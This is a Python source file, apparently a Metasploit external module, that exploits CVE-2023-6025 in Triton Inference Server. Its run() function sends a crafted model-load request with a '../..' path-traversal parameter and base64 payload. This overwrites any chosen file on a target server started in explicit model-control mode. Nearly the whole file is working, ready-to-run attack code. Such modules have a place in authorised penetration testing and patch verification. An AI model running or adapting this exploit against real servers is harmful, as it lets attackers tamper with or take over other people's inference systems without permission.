115 lines
4.1 KiB
Python
Executable File
115 lines
4.1 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
|
|
|
# standard modules
|
|
import logging
|
|
import base64
|
|
import pathlib
|
|
|
|
# extra modules
|
|
dependencies_missing = False
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
dependencies_missing = True
|
|
|
|
from metasploit import module
|
|
|
|
metadata = {
|
|
'name': 'Triton Inference Server arbitrary file overwrite',
|
|
'description': '''
|
|
When the Triton Inference Server is started with `--model-control-mode explicit` argument, an attacker is able to overwrite arbitrary files on the server.
|
|
''',
|
|
'authors': [
|
|
'l1k3beef', # Vuln Discovery
|
|
'byt3bl33d3r <marcello@protectai.com>' # MSF Module
|
|
],
|
|
|
|
'rank': 'excellent',
|
|
'date': '2023-11-15',
|
|
'license': 'MSF_LICENSE',
|
|
'references': [
|
|
{'type': 'url', 'ref': 'https://huntr.com/bounties/b27148e3-4da4-4e12-95ae-756d33d94687/'},
|
|
{'type': 'cve', 'ref': 'CVE-2023-6025'}
|
|
],
|
|
'type': 'single_scanner',
|
|
'options': {
|
|
'localfilepath': {'type': 'string', 'description': 'Local path with content to overwrite on target (cannot be used with filecontents option)', 'required': False, 'default': None},
|
|
'remotefilepath': {'type': 'string', 'description': 'File to overwrite', 'required': True, 'default': '/tmp/HACKED'},
|
|
'filecontents': {'type': 'string', 'description': 'File content to overwrite (cannot be used with localfilepath option)', 'required': False, 'default': None},
|
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
|
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8000},
|
|
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
|
}
|
|
}
|
|
|
|
def convert_args_to_correct_type(args):
|
|
'''
|
|
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
|
|
|
When a module is run using msfconsole, the module args are all passed as strings
|
|
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
|
'''
|
|
|
|
corrected_args = {}
|
|
|
|
for k,v in args.items():
|
|
option_to_convert = metadata['options'].get(k)
|
|
if option_to_convert:
|
|
type_to_convert = metadata['options'][k]['type']
|
|
if type_to_convert == 'bool':
|
|
if isinstance(v, str):
|
|
if v.lower() == 'false':
|
|
corrected_args[k] = False
|
|
elif v.lower() == 'true':
|
|
corrected_args[k] = True
|
|
|
|
if type_to_convert == 'port':
|
|
corrected_args[k] = int(v)
|
|
|
|
return {**args, **corrected_args}
|
|
|
|
def run(args):
|
|
args = convert_args_to_correct_type(args)
|
|
|
|
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
|
|
|
logging.debug(args)
|
|
if dependencies_missing:
|
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
|
return
|
|
|
|
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
|
file_contents = None
|
|
|
|
if not args['localfilepath'] and not args['filecontents']:
|
|
logging.error('localfilepath or filecontents options must be specified')
|
|
return
|
|
|
|
if args['localfilepath']:
|
|
local_file = pathlib.Path(args['localfilepath'])
|
|
if not local_file.exists() or not local_file.is_file():
|
|
logging.error("localfilepath is not a file or does not exist")
|
|
return
|
|
|
|
with local_file.open("rb") as f:
|
|
file_contents = f.read()
|
|
else:
|
|
file_contents = args['filecontents'].encode()
|
|
|
|
r = requests.post(
|
|
f"{base_url}/v2/repository/models/test/load",
|
|
json={ "parameters" : {
|
|
"config" : "{}",
|
|
f"file:../..{args['remotefilepath']}": base64.b64encode(file_contents).decode()
|
|
}
|
|
}
|
|
)
|
|
|
|
logging.info(f"Exploit might have worked... Status: {r.status_code}")
|
|
|
|
if __name__ == '__main__':
|
|
module.run(metadata, run)
|